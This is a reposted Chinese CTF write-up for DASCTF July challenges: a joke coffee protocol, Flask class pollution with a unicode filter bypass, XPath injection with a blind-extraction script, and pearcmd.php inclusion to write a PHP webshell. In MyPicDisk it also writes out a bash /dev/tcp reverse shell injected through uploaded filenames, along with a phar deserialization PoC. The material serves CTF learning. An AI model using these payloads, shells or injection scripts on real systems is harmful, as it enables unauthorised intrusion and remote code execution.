[DASCTF7月賽]
misc
Coffee desu!
hint1: Strange Protocol
經(jīng)過搜索,發(fā)現(xiàn)這個是一種惡搞協(xié)議:
自定義了一些請求方式
結(jié)合首頁英文:
You should add the milktea before getting the coffee!
我們需要使用BREW
向服務器添加milktea
返回:
The resource identified by the request is only capable of generating response entities which have content characteristics not acceptable according to the accept headers sent in the request.
這個協(xié)議定義了:Accept-Additions
頭,于是我們添加上:milktea
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-lIom1W9e-1690186880997)(https://raw.githubusercontent.com/leekosss/photoBed/master/202307241601658.png)]
添加之后我們使用GET
將其取出:
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-oQim0STO-1690186880998)(https://raw.githubusercontent.com/leekosss/photoBed/master/202307241602098.png)]
web
ezFlask
源碼:
import uuid
from flask import Flask, request, session
from secret import black_list
import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)
這是一個flask框架的題,根路由是一個讀文件函數(shù),讀取__file__
里面的內(nèi)容(源碼),顯示到首頁
有一個check
函數(shù):遍歷一下data
中的值,如果在黑名單中就返回false,否則返回true
定義了一個user
類,成員變量username
、password
初值為空,類中定義了一個check
函數(shù),如果與輸入的data
中的相等才返回true
寫了一個merge
函數(shù),這個函數(shù)是重點:
這個函數(shù)的作用是將兩個字典對象
src
和dst
進行合并。它逐個遍歷src
中的鍵值對,并根據(jù)一定的規(guī)則將其合并到dst
中。具體來說,函數(shù)執(zhí)行以下操作:
對于
src
中的每個鍵值對 (k, v
):
- 如果
dst
是一個可索引的對象(如字典),并且dst
中存在鍵k
,并且值類型v
是字典類型,則使用遞歸調(diào)用merge(v, dst[k])
將v
和dst[k]
進行合并。- 否則,將
v
賦值給dst
的鍵k
。如果
dst
不是可索引的對象,而是一個具有屬性的對象,則對于src
中的每個鍵值對 (k, v
):
- 如果
dst
擁有屬性k
,并且值類型v
是字典類型,則使用遞歸調(diào)用merge(v, getattr(dst, k))
將v
和dst
的屬性k
進行合并。- 否則,將
v
設置為dst
的屬性k
。簡而言之,該函數(shù)通過遞歸地合并兩個字典對象的鍵值對,將
src
中的內(nèi)容合并到dst
中,確保最終的dst
包含src
的所有鍵值對。需要注意的是,該函數(shù)對于嵌套的字典結(jié)構(gòu)特別有用,因為它可以處理深層嵌套的情況。但請注意在使用時確保
src
和dst
的數(shù)據(jù)結(jié)構(gòu)是可變的(mutable),否則可能會導致意外的結(jié)果。
register
路由:json類型數(shù)據(jù)需要通過check()
函數(shù)檢查,如果其中沒有username
、password
則失敗,否則創(chuàng)建一個用戶,將data
字典中的數(shù)據(jù),添加到User
字典中
這里主要需要關(guān)注這些代碼
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
這個題目乍一眼看好像無從下手,沒有漏洞點,但是這里會產(chǎn)生類似覆蓋的效果
經(jīng)過搜索,知道了這是: Python原型鏈污染
文章里詳細的講述了,可以污染類中的屬性值:
這里我們截取到一段利用的payload:
{
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"Polluted~"
}
}
}
}
}
這一段代碼可以通過merge()
自定義函數(shù),污染flask
中的SECRET_KEY
我們重新回到題目,分析一下我們實際可以污染根路由的文件的__file__
屬性,如果控制了這里就可以實現(xiàn)任意文件讀取了
我們仿照上面的payload,構(gòu)造出如下payload:
{
"__init__": {
"__globals__": {
"__file__":"app.py"
}
},
"username":"admin",
"password":"123"
}
這樣就可以將__file__
污染為app.py
了,
但是經(jīng)過嘗試,發(fā)現(xiàn)失敗了,原因是check()
函數(shù)把__init__
過濾了,沒法用了
但是我們可以嘗試編碼繞過,json中可以使用unicode
編碼,我們使用cyberchef
編碼一下:
__init__
\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F
這樣就可以繞過了,然后非預期就是讀一下/proc/1/environ
得到flag:
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Mzss4X4f-1690186881000)(https://raw.githubusercontent.com/leekosss/photoBed/master/202307232323420.png)]
預期解是通過任意文件讀取,偽造flask的pin碼,然后命令執(zhí)行查詢到flag
MyPicDisk
首先通過萬能密碼登錄:
' or 1 or '1
但是這里需要在用戶名處輸入:
下載:/y0u_cant_find_1t.zip
得到:index.php
:
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登錄" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登錄失敗';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登錄成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
選擇圖片:<input type="file" name="file" id="">
<input type="submit" value="上傳"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('圖片上傳成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('圖片已刪除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>
這里很明顯需要知道:admin
的密碼才能夠完成后續(xù)操作,
我們注意到這里:
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登錄失敗';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登錄成功!');location.href='/index.php';</script>";
}
這里對用戶名處沒有任何過濾就進行xpath
查詢,所以會導致xpath注入
xpath注入學習文章:https://xz.aliyun.com/t/7791?page=1#toc-0
由于這里密碼被md5加密了,所以我們可以猜測密碼為32位:
xpath查詢語句如下:string-length
代表查詢字符串的長度
' or string-length((//user[position()=1]/password[position()=1]))=32 or '
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Ii5yHL6c-1690186881002)(https://raw.githubusercontent.com/leekosss/photoBed/master/202307241356669.png)]
查詢一下確實為32位
接下來寫腳本查詢password
的值即可:
import string
import time
import requests
s = string.printable
url = "http://d27bfc8b-3545-410a-9e7a-7446c02e9290.node4.buuoj.cn:81/index.php"
flag = ""
for i in range(1, 100):
for j in s:
time.sleep(0.1)
payload = "' or substring((//user[position()=1]/password[position()=1]),{},1)='{}' or '".format(i,j)
data = {
"username": payload,
"password": "123",
"submit": "%E7%99%BB%E5%BD%95"
}
res = requests.post(url, data=data)
# print(res.text)
if "成功" in res.text:
flag += j
print(flag)
break
# 003d7628772d6b57fec5f30ccbc82be1
使用:https://www.somd5.com/解密:
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-ebcOpDAO-1690186881003)(https://raw.githubusercontent.com/leekosss/photoBed/master/202307241359303.png)]
15035371139
接下來登錄就可以文件上傳了:
文件上傳為白名單waf:
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
FILE
類中會對文件名進行檢測,不能包含/
和多個小數(shù)點
析構(gòu)方法中命令執(zhí)行:
public function __destruct(){
system("ls -all ".$this->filename);
}
我們可以利用它來反彈shell,首先上傳一個文件名為:;a.jpg
,內(nèi)容為:
bash -i>& /dev/tcp/ip/9996 0>&1
然后再上傳一個文件:;bash *a.jpg
點擊這個文件就可以反彈shell了
也可以phar反序列化,沒復現(xiàn)成功
<?php
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
$this->filename = $filename;
}
}
$a = new FILE("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering();
ez_cms
熊海cms
經(jīng)過查詢得知,熊海cms首頁存在文件包含漏洞:
<?php
//單一入口模式
error_reporting(0); //關(guān)閉錯誤顯示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判斷為空或者等于index
include('files/'.$action.'.php'); //載入相應文件
?>
于是我們只要包含一個有用的文件即可,但這個有用的文件是什么呢?
這個文件是pearcmd.php
,通過包含這個文件可以實現(xiàn)向服務器上寫入shell進行rce的操作
可以參考:
-
https://tttang.com/archive/1312/#toc_0x06-pearcmdphp
-
https://y4tacker.github.io/2022/06/19/year/2022/6/%E5%85%B3%E4%BA%8Epearcmd%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/#%E5%88%A9%E7%94%A8
我們直接構(gòu)造:(注意順序)
/?+config-create+/&r=../../../../../../../../../../../../usr/share/php/pearcmd&/<?=phpinfo();eval($_POST[1]);?>+/tmp/leekos.php
這里需要通過相對路徑來找到pearcmd.php
(注意最后不需要加上.php
)
文章來源:http://www.zghlxwxcb.cn/news/detail-602784.html
成功寫入,然后蟻劍包含拿flag文章來源地址http://www.zghlxwxcb.cn/news/detail-602784.html
到了這里,關(guān)于[DASCTF7月賽](未完待續(xù)~)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!